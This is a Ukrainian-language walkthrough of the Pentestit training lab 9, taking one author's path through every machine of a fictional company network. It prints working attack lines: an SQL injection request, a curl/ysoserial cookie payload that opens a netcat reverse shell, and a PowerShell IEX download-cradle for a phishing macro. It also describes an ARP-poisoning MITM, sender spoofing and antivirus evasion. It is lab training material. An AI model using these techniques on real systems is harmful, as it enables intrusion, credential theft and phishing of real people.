Пентест-лабораторія Pentestit — повне проходження



Компанія Pentestit 20-го травня запустила нову, вже дев'яту лабораторію для перевірки навичок практичного тестування на проникнення.

Лабораторія являє собою корпоративну мережу, дуже схожу на мережу цієї організації. Завдяки лабораторіям Pentestit можна завжди бути в курсі останніх вразливостей і спробувати себе в якості справжнього пентестера, паралельно навчаючись у професіоналів — тих, хто щодня займається тестуванням на проникнення в реальних мережах.

До 1-го червня лабораторія була пройдена — всі 13 машин і 14 токенів були взяті. Тепер настав час описати процес проходження лабораторії в повному обсязі для всіх, хто ще не встиг пройти лабораторію, хто хотів би дізнатися більше про актуальні уразливості, або глибше зануритися в світ тестування на проникнення.

Відразу хочу відзначити, що процес проходження лабораторії вийшов досить трудомістким, а його опис — довгим, але, сподіваюся, цікавим. Почнемо!

DisclaimerЯ не є співробітником або афілійованою особою компанії Pentestit. Цей документ описує кроки, які я зробив, щоб вирішити завдання в лабораторії. Мої особисті рекомендації та переваги ніяким чином не відносяться до офіційного думку компанії Pentestit.

Вся інформація в цьому документі надана виключно в освітніх цілях. Продовжуючи читати цей документ, ви погоджуєтесь не використовувати цю інформацію в незаконних цілях, і підтверджуєте, що ви і тільки ви несете повну відповідальність за свої дії або знання, здобуті завдяки інформації з цього документа. Автор цього документа і компанія Pentestit не несуть ніякої відповідальності за будь-які збитки, заподіяні кому-небудь в результаті використання знань і методів, отриманих в результаті прочитання даного документа.

Підключення до лабораторії
Перш ніж почати, потрібно зареєструватися в лабораторії, налаштувати VPN-з'єднання і підключитися до мережі віртуальної компанії CyBear32C.

Зареєструйтесь тут, і потім дотримуйтесь цим інструкціям для того, щоб підключитися.

Для проведення тестування можна встановити віртуальної машини Kali Linux — спеціальний дистрибутив Лінукса для пентестеров, в якому є все необхідне для роботи. Якщо ви цього ще не зробили, тепер — саме час.

Починаємо тестування
Після реєстрації і підключення ми бачимо наступну схему мережі:


VPN-підключення залишається за кадром, і після нього ми отримуємо доступ до єдиного зовнішнього IP компанії CyBear32C — 192.168.101.8, який в реальному житті був би шлюзом в інтернет. Почнемо, як завжди, з enumeration і, зокрема, зі сканування портів, щоб визначити які послуги з внутрішніх підмереж доступні зовні.

Почнемо з швидкого сканування портів.



Як бачимо, нам доступний цілий набір сервісів з різних внутрішніх машин (див. схему мережі), включаючи, найімовірніше, сервер mainsite (порт 80), сервер mail (25, 8100), ssh (порт 22) та інші. Крім того, є ще https ресурс і проксі сервер.

Вивчаємо MAINSITE
Почнемо з того, щоб зайти за адресою 192.168.101.8:



Нас автоматично редиректит на www.cybear32c.lab, подивимося уважніше:



Нам приходить заголовок
Location: http://cybear32c.lab
— віртуальний хост, на якому власне і буде доступна на сайті компанії.



Додаємо потрібний домен в
/etc/hosts
і пробуємо ще раз:



Відмінно, сайт піднявся, і можна почати вивчати. Спробуємо зрозуміти, що це таке. Перед тим, як почати вивчати сайт вручну, можна запустити утиліту whatweb, а потім dirb, яка допоможе визначити, які є піддиректорії (можна скористатися і іншими сканерами, наприклад nikto):



Бачимо, що коди відповідей на всі запити рівні 403 — напевно сайт захищений WAF-му. Так як в браузері все працює, пробуємо підставити User Agent і знаходимо кілька цікавих сторінок:



Паралельно дивимося на сайт, бачимо, що це — Wordpress, захищений WAF-му. Захід на сторінку /admin переводить нас на закритий wp-login.php.



Для Wordpress сайтів є чудова утиліта wpscan, яка дозволяє перевірити їх на наявність плагінів з уразливими. Спробуємо для початку подивитися загальну інформацію з сайту, підставивши потрібний user agent. Він тут же знаходить кілька проблем, в тому числі і уразливий до SQL injection плагін wp-symposium v15.1.



Тепер пробуємо проексплуатувати кожну з наведених вразливостей з допомогою експлойтів по посиланнях. На жаль, спрацьовує WAF, і запити з пэйлоадами на SQL не проходять. Спробуємо його обійти…

Обхід WAF
Часто багато Web Application Firewalls використовують сигнатури атак, які можна обійти, трохи змінивши синтаксис: додавши конкатенацию або змінивши регістр у запиті: vErSiOn замість version, наприклад. Обхід WAF — окрема серйозна тема, якій можна присвятити безліч книг і статей.

На жаль, ці варіанти не спрацювали. Згадаймо про проксі на порт 3128 і спробуємо налаштувати браузер на роботу через нього.



Проксі запитує авторизацію:



Тут нам знадобляться дані з графи Contact Us, які ми бачимо на цьому ж сайті.

Створюємо текстовий файл зі словничком і двома обліковими записами: b.muncy і r.diaz і намагаємося підібрати пароль:



Вдало! Тепер спробуємо ще раз зайти на сайт через проксі і авторизуватися на ньому. Результат у даному випадку вже виглядає по-іншому (сайт також доступний за внутрішнім IP: 172.16.0.5, але інші внутрішні сервіси все ще недоступні):



Сайт більше не говорить про неправомірні дії — ми успішно обійшли WAF.

Експлуатація уразливості в Wordpress плагіні
Тепер можна вивчити сайт та потенційні уразливості уважніше. Можна це робити і безпосередньо, але мені зручніше для цього використовувати Burp Repeater. Для початку потрібно налаштувати підключення через upstream proxy:



На вкладці User options додаємо Upstream Proxy Server, вводимо отримані дані для нашого хоста, налаштовуємо браузер на Burp proxy і пробуємо різні експлоїти, знайдені wpscan-ом.

Ця можливість дозволить використовувати утиліти, які не підтримують авторизацію в проксі безпосередньо. Якщо такі знадобляться, досить буде вказати у вигляді proxy 127.0.0.1:8080.

Спробувавши кілька варіантів, бачимо, що спрацьовує одна з SQL ін'єкцій:

GET http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=version(); -- HTTP/1.1


Отримуємо номер версії MySQL:



Результат: 5.5.49-0+deb8u1.

Справа за малим — залишилося експлуатувати цю вразливість з допомогою sqlmap:



Так як в даному випадку ін'єкція відбувається в ім'я колонки (а не значення, як зазвичай), важливо вказати суфікс після payload (
' -- '
), для того, щоб sqlmap сконцентрувався саме на цьому типі ін'єкції. Якщо цього не зробити, sqlmap може помилково визначити тип ін'єкції як blind, і в такому випадку витягати дані буде дуже важко і довго.

Отримуємо доступні бази з використанням опції --dbs:



Потім таблиці (
D tl9_mainsite --tables
):



І залишилося тільки отримати дані з таблиці wp_token з допомогою команди:




Токен BYPASS
Під час сканування портів виявився, в тому числі, і https ресурс на порт 443. Побіжний аналіз і утиліта dirb нічого цікавого не дали:



Ресурс доступний за https, при цьому, мабуть, у розробці і давно не оновлювався. Перевіримо гучну 2014-му вразливість heartbleed:



Сервіс вразливий! Для експлуатації скористаємося скриптом звідси. Після прочитання безлічі цікавою інформації і сотні спроб (головне не здаватися завчасно), знаходимо дещо цікаве:



Хтось зайшов туди і скачав старий бекап. Давайте і ми це зробимо:



Ось і токен, а разом з ним кілька нових акаунтів і хеші їх паролів. Пробуємо відновити паролі з хешів (Apache apr1 хеш в hashcat йде під номером 1600):



Отримуємо вже відомий з mainsite пароль b.muncy, а також інші паролі інших акаунтів.

Дуже корисно записувати всі знайдені облікові дані і паролі для того, щоб у майбутньому мати можливість перевіряти їх, швидко вивчаючи нову мету, т. к. паролі користувачів корпоративної мережі з високою ймовірністю будуть повторюватися від одного сервісу до іншого.

Атакуємо SSH
Незважаючи на попереднє зауваження, на жаль, жоден із знайдених паролів поки що не підійшов до пошти (яка зазвичай дає дуже непогані результати в просуванні вглиб корпоративної мережі). Не біда, спробуємо підключитися до SSH на порту 22 і спробувати там. Пробуємо і бачимо наступну картину:



Досить незвичайна ситуація для підключення SSH: мабуть, використовується власний модуль для аутентифікації. Крім того, звертаємо увагу на те, що система запитує спочатку «The password», а потім ще і «Password».

Пробуємо всі знайдені облікові дані в різних комбінаціях — безрезультатно.

Так як ні пошта, ні SSH не принесли бажаних результатів, а інших доступних сервісів більше не залишається, мабуть, ми щось упустили. SSH важливий ще й тим, що ми отримаємо доступ до корпоративної мережі і зможемо просунутися далі, тому нам цікаво сконцентруватися на ньому.

Пробуємо ще раз і бачимо автора скрипта: Pam © krakenwaffe — не схоже на щось стандартне.
Шукаємо це в Google і незабаром знаходимо аккаунт розробника krakenwaffe на Github, який до того ж працює в компанії cybear32c — цікаво!



Вивчивши contributions нікого Девіда, бачимо єдиний файл: mypam.c, розташований тут: github.com/krakenwaffe/eyelog/blob/master/mypam.c. Після побіжного аналізу коду стає зрозуміло, що це саме той модуль, в якому ми намагаємося авторизуватися, і який запитує у нас «The password».



Під рутом зайти не вийде, подивимося, що далі… Увагу привертає наступний ділянку:



Бачимо, що введений пароль проходить порівняння з
daypass<день><година>
. Пробуємо підставити поточне значення, а саме «daypass80» на момент написання цієї частини документа:



Все одно не спрацьовує. Тоді згадуємо, як звуть нашого розробника, який поділився з нами паролем через Github — David Неша. Пробуємо зайти під d.неш:



Вийшло! Ми зайшли на SSH сервер. Подивимося, що є навколо:



Крім сертифіката в папці .ssh також знаходимо і приватний ключ для підключення до інших серверів (до яких можна дізнатися, попрацювавши з файлом known_hosts) — напевно стане в нагоді в подальшому!

Тепер ми отримуємо плацдарм для наступних атак, і перед нами відкривається вся корпоративна мережа компанії CyBear32C.

Наступні кроки
Після взяття SSH можна виходити на всі інші комп'ютери в мережі. З якої почати? У першу чергу варто просканувати всі три підмережі за допомогою nmap, люб'язно наданого нам прямо на сервері SSH, і вивчити доступні сервіси.

На даному етапі практично всі внутрішні ресурси, за винятком Windows-машин і сервера dev, будуть доступні для атаки — можна прокидати порти і пробувати.

Кидок портів
Для забезпечення зручного доступу до внутрішньої мережі через знову з'явилося SSH з'єднання є ціле безліч способів.

В першу чергу рекомендую вивчити статтю «Pivoting або кидок портів».

Крім того корисно знати цікаву можливість стандартного клієнта SSH: кидок портів без перезапуску сесії і додавання параметрів, в командний рядок.

Для цього достатньо натиснути комбінацію клавіш Shift+~+C і перейти в командний режим роботи:



Після введення потрібної команди, ми отримаємо доступ до 80-го порту сервера 192.168.0.6 (photo) через порт 8086 на 127.0.0.1:



Photo-hosting і завантаження файлів
Сервер фото зустрічає нас формою для завантаження файлів і нічого більше, напевно в ній і є вразливість.

З точки зору розробника зробити upload файлів безпечним дуже складно — векторів атаки на нього може бути дуже багато: це або непрацююча валідація по розширенню файлу, його MIME-типу, або вразливість в бібліотеці, яка обробляє файл, або race condition, або будь-яка з безлічі інших проблем.

Для початку подивимося, на чому написано сайт:



І заодно запустимо dirb, щоб подивитися якісь приховані директорії є на веб-сервері.



Директорія upload доступна прямо на сервері, спробуємо завантажити нешкідливу картинку і переконаємося, що файли зберігаються саме в цю папку:



Так і є, google.png доступний. Звертаємо увагу, що сайт показує розміри картинки, мабуть є якийсь аналіз. Пробуємо завантажити PHP файл:



Змінити MIME-тип і розширення не допомагає:



Цікаво, це дає нам відразу дві підказки: по-перше, файл, можливо, спочатку завантажується, а потім видаляється, і його можна встигнути смикнути, і, по-друге, ми ще раз переконуємося, що перевірка на те, що це картинка присутній (мабуть, з допомогою
getimagesize()
, яку можна обдурити, додавши, наприклад, GIF заголовок). Пробуємо ще раз з таким файлом file.jpg:



Файл завантажився успішно і навіть доступний з:



Але, на жаль, не виконується. Пробуємо завантажити цей файл з різними розширеннями, раз php не спрацьовує: .htaccess, .php5, .phtml і .pht — останній варіант працює! Він теж виконується:



Тепер потрібно отримати шелл. Для цього слухаємо з допомогою nc на сервері SSH, і звертаємося до файлу:




І вдало отримуємо коннект:



Прямо в папці upload можна знайти токен в прихованій піддиректорії:



До речі, заради інтересу можна вивчити і исходники:



Бачимо, що файл спочатку зберігається в папку, а потім тільки перевіряється, тобто крім эксплуатированной нами уразливості є ще й race condition.

Крім токена і цього коду на сервері нічого цікавого не виявляємо і продовжуємо далі!

Вивчаємо FTP
Просканувавши з допомогою nmap сервер 172.16.0.4, знаходимо відкритий 21-й порт (ftp) і 22-й порт (ssh). Природно, вхід з нашим ssh ключиком не спрацьовує, тому сконцентруємося на самому FTP.



ProFTPD 1.3.5 має відому уразливість, пов'язану з копіюванням файлів без автентифікації, яку можна проексплуатувати через веб-сервер — копіюємо в /var/www, наприклад, /etc/passwd, і ми вже трохи ближче до мети.

Проблема в тому, що веб-сервер на цій машині не запущений… Спробуємо під'єднатися до ftp сервера:



Анонімний вхід доступний, і в папці dist знаходимо вихідні коди сервера. Цікаво, напевно їх виклали не просто так, спробуємо їх повивчати. Завантажуємо і розпаковуємо архів proftpd-dfsg-1.3.5.tar.bz2 з допомогою ftp-клієнта (команди lcd get) і пробуємо пошукати зміни в коді. Почнемо з пошуку підрядка CYBEAR, і тут же знаходимо файл src/help.c:



Схожий virus був вбудований у версію 1.3.3 з під час атаки на ProFTPD.

Спробуємо скористатися наданим бекдором!



Ну і в теці /home знаходимо цілий набір цікавих файлів:



Крім сертифіката в папці «old» ми знаходимо:
  • новий обліковий запис m.barry,
  • тестовий скрипт в папці m.barry/upload/test_scripts,
  • конфігураційний файл роутера cisco c паролями,
  • файл trouble.cap з паролем m.barry і вказівкою на те, що сервер dev викачує всі питоновские скрипти з папки test_scripts з FTP і, можливо, запускає їх.
На жаль, просто так підкласти файл в test_scripts не можна — недостатньо прав, тому доведеться просуватися далі і шукати інший спосіб атаки на dev сервер.

найшвидший токен — CISCO
Спробуємо скористатися знайденою інформацією і почнемо з cisco — пароль у нас вже є. Згадуємо IP за схемою мережі і пробуємо зайти:



Відразу ж отримуємо токен! Тепер спробуємо сбрутить хеш для enable 3:



Знаходимо пароль, пробуємо його і отримуємо привілейований режим:



Все готово. Конфігураційний файл роутера дозволяє робити моніторинг трафіку:



З допомогою цих команд можна повивчати трафік, що йде через цю підмережа (а саме — portal).

Як виявилося, є можливість пройти лабораторію різними способами, і особисто мені моніторинг трафіку не знадобився. Тому я пропоную залишити цю частину на самостійне опрацювання і просунутися далі.

NAS і незахищені бекапи
Продовжуючи вивчати різні підмережі, натикаємося на NAS сервер:



Відкритий порт 3260 натякає на можливість підключення до iscsi. Якщо ви стежили за новинами в області ІБ, то напевно чули про злом італійської компанії Hacking Team, яка в даному випадку стала прообразом CyBear32c. У мережі можна знайти writeup про те, як відбувалася атака, з якого можна почерпнути багато цікавого.

Почнемо з перекидання порту на локальну машину:



Встановлюємо iscsiadm і пробуємо підключитися:



Пробуємо підключитися, не виходить.



Включаємо debug mode і бачимо, що iscsiadm намагається підключитися до 192.168.0.3, якого в даному випадку немає в нашій мережі.

Спробуємо альтернативний варіант прокидання портів і скористаємося sshuttle. Так ми отримаємо доступ до серверів за їх справжнім IP адресами без необхідності прокидати кожен порт окремо. Підключаємося:



Вдалося підключитися! Тепер вивчимо вміст з'явився диска:



Тепер потрібно підключити і цей vmdk:



Він починається на диску по зсуву 63 * 512 байт, а саме 32,256:



Після цього Kali автоматично визначає присутній диск і пропонує подивитися вміст:



Є! У пошуках цікавого знаходимо користувача token_nas_token, але у файловій системі безпосередньо нічого немає. Копіюємо бази реєстру WINDOWS\system32\config до себе і пробуємо подивитися збережені хеши паролів:



Щоб довго не перебирати хеші локально, скористаємося сервісом rainbowtables.it64.com. Можна зробити це і в себе, але за допомогою сервісу буде швидше.

Вносимо існуючі LM-хеші (перший хеш з дампа в кожному рядку) і дивимося на результат. LM-хешування призводить паролі до верхнього регістру, тому після отримання результату нам потрібно буде відновити правильний регістр з допомогою NTLM-хеш.

Всі хеши і відповідні їм паролі знайдені в базі. Збережемо їх (у верхньому регістрі) в окремий файлик і скористаємося john-му з опцією -rules=NT, щоб знайти правильні паролі:



І отримуємо паролі c допомогою опції -show:



Пароль від token_nas_token містить токен до завдання! І ми отримали нові облікові дані для d.rector. Продовжимо!

Terminal2
Як вже обговорювалося вище, паролі, знайдені в одному місці, можуть підійти в іншому. В даному випадку, просканувавши порти сервера terminal2, ми бачимо відкритий RDP:



Спробуємо під'єднатися, використовуючи облікові дані d.rector з NAS:



Токен знаходиться прямо на робочому столі!

DEV і MITM
З отриманням доступу в локальну підмережа 192.168.3/24 у нас відкриваються нові можливості для атаки. Згадаємо схему мережі і заодно файл trouble.cap, знайдений на FTP сервері:



Очевидно, dev сервер звертається до FTP, завантажує звідти все *.py файли з папки test_scripts, як видно в trouble.cap, і, найімовірніше, виконує їх. Доступ до цієї папки на FTP сервері можна отримати тільки від root.

Тепер, коли в нашому розпорядженні сервер terminal, на якому зручно розташований Intercepter-NG, ми можемо легко організувати MITM атаку. Спробуємо!

Включаємо Intercepter-NG з папки C:\Intercepter-NG. Першим ділом потрібно просканувати локальну мережу. Натискаємо правою кнопкою на порожньому місці в таблиці, ставимо на всяк випадок побільше ARP Scan Timeout і запускаємо Smart Scan.

Intercepter при цьому розсилає ARP запити до своєї підмережі, щоб визначити існуючі в ній хости, а потім пробує визначити, яка на кожному з них встановлена ОС.



Відмінно, визначилися два хоста:



Stealth IP — це неіснуючий IP адреса, що використовується Intercepter-ом для здійснення MITM-атаки.

Так як клієнт і сервер знаходяться в різних підмережах, вони будуть спілкуватися один з одним через шлюз; додаємо 3.3 NAT, а 3.254 як шлюз.



Паралельно потрібно створити папку на ftp сервері, в яку буде заходити dev, замість папки upload. У назві має бути стільки символів, скільки і в «upload», так як Intercepter-NG може робити заміну трафіку тільки для рядків однакової довжини.



В скрипт test.py звичайно, розмістимо корисне навантаження — реверс шелл на 172.16.0.2 на порт 6666:



Налаштовуємо Intercepter:



Traffic changer буде замінювати upload .uploa і, відповідно, коли m.barry зробить CWD upload, він потрапить в нашу директорію .uploa і звідти вже скачає наш скрипт, який і створить нам reverse shell.

Включаємо слушающую частина на SSH:



І вмикаємо Incercepter натисканням трьох кнопок: спочатку загальний sniff-інг праворуч вгорі, потім NAT і потім ARP poison.



Через хвилину отримуємо шелл:



А заодно і токен сервера dev:



«Tragick» SITE-TEST
Тепер звернемо свою увагу на сервер site-test. Як зазвичай у web завдання лабораторії, спробуємо запустити whatweb і dirb, щоб дізнатися, що є на сервері.



Сайт написаний на PHP фреймворку laravel, який активно підтримується. Крім того, включені детальні логи помилок:



Звідси часто можна вивудити інформацію про внутрішніх шляхах на сервері, яка потім може знадобитися, наприклад, при SQL ін'єкції. Але в даному випадку це нам не дуже допомагає…

dirb швидко починає знаходити такі доступні URLs:



Безуспішно спробувавши всі облікові дані, які вже були зібрані за час проходження лабораторії в адмінці, перемикаємося на форму аплоада фотографії, також представлену на сайті, якщо за нього просто походити і натиснути JOIN US:



Знову завантаження картинок, але тепер не вдається знайти, де ці картинки складаються (хоча папка /upload теж через якийсь час виявляється утилітою dirb — але файли в ній не доступні за вихідним імен).

Спробуємо уразливість в ImageMagick, яка отримала назву ImageTragick.

Конструюємо файл для завантаження:



І вмикаємо nc на порт 1234 на сервері SSH. Заповнюємо форму і завантажуємо файл oops.jpg c текстовим вмістом, показаним зверху.



Ось і коннект! У кореневій папці (cd /) бачимо token.txt:



Відкриваємо PORTAL
Спробуємо вивчити сервер portal. Почнемо зі сканування портів.



Виявився порт 8080, зайшовши на який ми, власне, і побачимо портал:



Пробуємо різні паролі з тих, що були знайдені раніше. Підходить, наприклад, логін t.smith з його паролем. Паролі можна було переиспользовать вже два рази — на terminal2 і тут.
Отримуємо сторінку відпусток і нові облікові дані:



Пробуємо зайти або підібрати пароль до логіну a.petrov — безуспішно. Потім звертаємо увагу на куки:



Виглядає як base64, декодируем:



Це Java об'єкт, в якому зберігається ім'я користувача і його хеш пароля у вигляді md5. Пробуємо «підсунути» ім'я a.petrov — не спрацьовує.

Раз об'єкт приїжджає клієнт і потім відновлюється на сервері, спробуємо копнути в цьому напрямку.

Під час відновлення об'єкта з рядка base64 в бінарний формат і потім в пам'ять (десеріалізації) є нещодавно продемонстрована можливість виконання довільного коду. Така вразливість була, наприклад, у Jenkins. Для експлуатації пробуємо використовувати утиліту ysoserial.

Після прочитання інструкції стає зрозуміло, що є можливість виконати довільну команду на сервері, використовуючи утиліту. Вона генерує Java-об'єкт, який потім під час десеріалізації виконає
потрібну нам команду (а саме reverse shell, в нашому випадку).

Пишемо невелику команду для зручної відправки вмісту, що генерується ysoserial у вигляді base64-куки на bash:

curl -b 'userInfo="'$(java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://192.168.1.2:8080/index.jsp'


Виникає помилка при виконанні:



Знаходимо цю ж проблему прямо на гітхабі розробника.

Вона вже виправлена в репозиторії, але ще не зібрана в release. Клонируем нову версію з github, встановлюємо maven і збираємо її локально:

apt-get install maven
 
git clone https://github.com/frohoff/ysoserial.git
 
mvn compile package
 

Отримуємо потрібний нам файл!



Оновлюємо команду на новий payload Commons Collections5:

curl -b 'userInfo="'$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://192.168.1.2:8080/index.jsp'


На сервері ssh як зазвичай запускаємо netcat, який слухає на порту 1235, запускаємо на виконання і:



Довгоочікуваний шелл. Знаходимо token.txt у кореневій папці:



І ще один маркер піддався!

Повивчавши трохи портал, знаходимо дещо цікаве в crontab:



Скрипт перевірки пошти! Подивимося, що в ньому.



Ім'я і пароль b.muncy в пошту! Ось ми і підібралися впритул до завдання mail.

Roundcube Mail
В лабораторії використовується сервер Roundcube, в якому було багато недоліків, але в цій версії всі відомі вже виправлені.

Спробуємо з іншого боку. Заходимо в пошту з паролем від b.muncy:



Поштовий ящик порожній. Але, так як на порталі був робот, автоматично перевіряє пошту, спробуємо відіслати повідомлення інших акаунтів, які ми вже дізналися.

Один з них — r.diaz — відповідає на листи! Пробуємо відправити йому щось ще.



І отримуємо відповідь:



Після спілкування з ботом стає зрозуміло, що потрібно застосовувати social engineering. Пробуємо відсилати боту різні файли: PDF, Word-документи і так далі. І ось, на одну з таких відправок бот реагує!



Якщо відправити у аттачменте Word-документ, він видає токен і повідомлення про те, що такого роду файли можна відкривати, тільки якщо вони приходять від r.lampman-a. Спробуємо це зробити!

Terminal
На сервері terminal закритий порт 3389 для rdp, а у решти немає нічого цікавого. Де, як не там, сховався r.diaz і відкриває Word-документи!

Я зробив припущення, що на сервері terminal встановлений Microsoft Security Essentials, як це було і на сервері terminal2, і локально встановив Windows з таким же антивірусом, щоб потестувати на місці, перш ніж відправляти документ.

Атака, в даному випадку, виходить багатоступенева. Щоб отримати сесію на terminal, нам потрібно:
  • навчитися відправляти листи r.diaz-у від r.lampman (його пароль до пошти у нас немає),
  • сформувати документ з reverse shell payload,
  • обійти антивірус Microsoft Security Essentials,
  • включити listener на своєму комп'ютері на порту 443 (тільки 80 і 443 відкриті зсередини мережі).
Відправка листів
Спробуємо написати скрипт, який буде автоматично відправляти листи r.diaz-у від імені r.lampman з використанням пароля b.muncy.

Для цього будемо підставляти потрібну адресу в поле FROM:



Тут важливо кілька речей:
  • замінити значення поле FROM на потрібне,
  • підставити правильний MIME-тип, щоб було зрозуміло, що відправляється саме Word-документ
  • не забути закодувати документ в base64, щоб він не зіпсувався при передачі,
  • прокинути порт 587 з 172.16.0.1 на локальну машину:


Формуємо payload
Тепер потрібно створити Word-документ, який не визначається антивірусами як заражений. Після безлічі невдалих спроб (зручно тестувати в своєму середовищі перед цією атакою), вийшло виробити робочий варіант.

Не будемо весь payload зберігати відразу в документ, а зробимо так, щоб він скачував його з нашого сервера. Для цього зробимо наступне:

1. Використовуємо setoolkit для створення payload:



Вибираємо опцію 1 (Social-Engineering Attacks), потім 9 (Powershell Attack Vectors) і потім 1 (Powershell Alphanumeric Shellcode Injector):



Запускаємо на локальній машині веб сервер і копіюємо отриманий payload з /root/.set/reports/powershell /var/www/html/payload.txt:



Перевіряємо, що файл доступний з:



2. Формуємо документ
Я використав цей варіант запуску, описаний в цій статье.

Як показано, нам потрібно обфусцировать команду завантаження payload:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_ip>/payload.txt'))"


Щоб це зробити, можна використовувати Java-аплет із статті, доступний тут. Запускаємо:



Вводимо:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_pentestit_ip>/payload.txt'))"


Отримуємо результат і вставляємо в документ. Я додав ще Document_Open() на всяк випадок.



При додаванні макросу важливо зберегти його саме в документ, а не в шаблон Normal.

Зберігаємо документ з розширенням docm, кладемо в папку зі скриптом senddoc.py і тепер залишився останній крок.

3. Запускаємо Metasploit



Перед запуском ще раз проходимся по невеликому «чеклисту»:
  • payload доступний за адресою your_ip/payload.txt
  • порт 587 з 172.16.0.1 проброшен на локальний 127.0.0.1,
  • документ знаходиться в папці разом зі скриптом для відправки пошти.
Запускаємо!



І через хвилину:



Йдемо в C:\Users\r.diaz\Desktop і отримуємо токен!



SSH-TEST — останній бар'єр
Залишається останній сервер, на який поки що ми не знайшли ніяких зачіпок в мережі. Просканувавши всі його порти, визначаємо, що ні один з них не відповідає.

При цьому всі, крім трьох, відповідають нам RST пакетами (закриті), а 3 — просто відкидають всі приходять на них пакети.



Це наводить на думку про те, що в ці порти потрібно «постукати» в надії на те, що порт 22 (ssh) відкриється при правильній комбінації на мить, за яку ми встигнемо до нього підключитися.

До речі, на сервері ssh ми на самому початку проходження знайшли ключ в папці .ssh у користувача d.неш:



Напевно він нам тут стане в нагоді. Отже, для того, щоб стукати в потрібний порт, робимо наступне:

Запускаємо sshuttle, щоб ходити до сервера напряму:



Зручно вказати потрібну підмережа, щоб залишився доступ в Інтернет.
Копіюємо ключ d.неш id_rsa собі на диск:



Встановлюємо утиліту knock, якої будемо стукати в потрібні порти:



Пробуємо 6 комбінацій цих трьох портів, і одна з них спрацьовує!



Ось і останній токен! Лабораторія пройдена.

Післямова
Цей документ описує лише один із способів проходження лабораторії. Впевнений, що варіантів дуже багато. Якщо ви знаєте якийсь цікавий спосіб вирішення тієї чи іншої задачі, про якого я тут не згадав, буду радий дізнатися про нього в коментарях.

Сподіваюся, що ця стаття допоможе тим, хто ще не займався пентестом, поринути у світ інформаційної безпеки і спробувати себе в даному практичному тестуванні.

Лабораторія буде доступна до листопада, тому часу на навчання буде достатньо, а цей writeup допоможе почати. Не здавайтеся в процесі, і, як говориться: Try Harder.

Удачі!
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.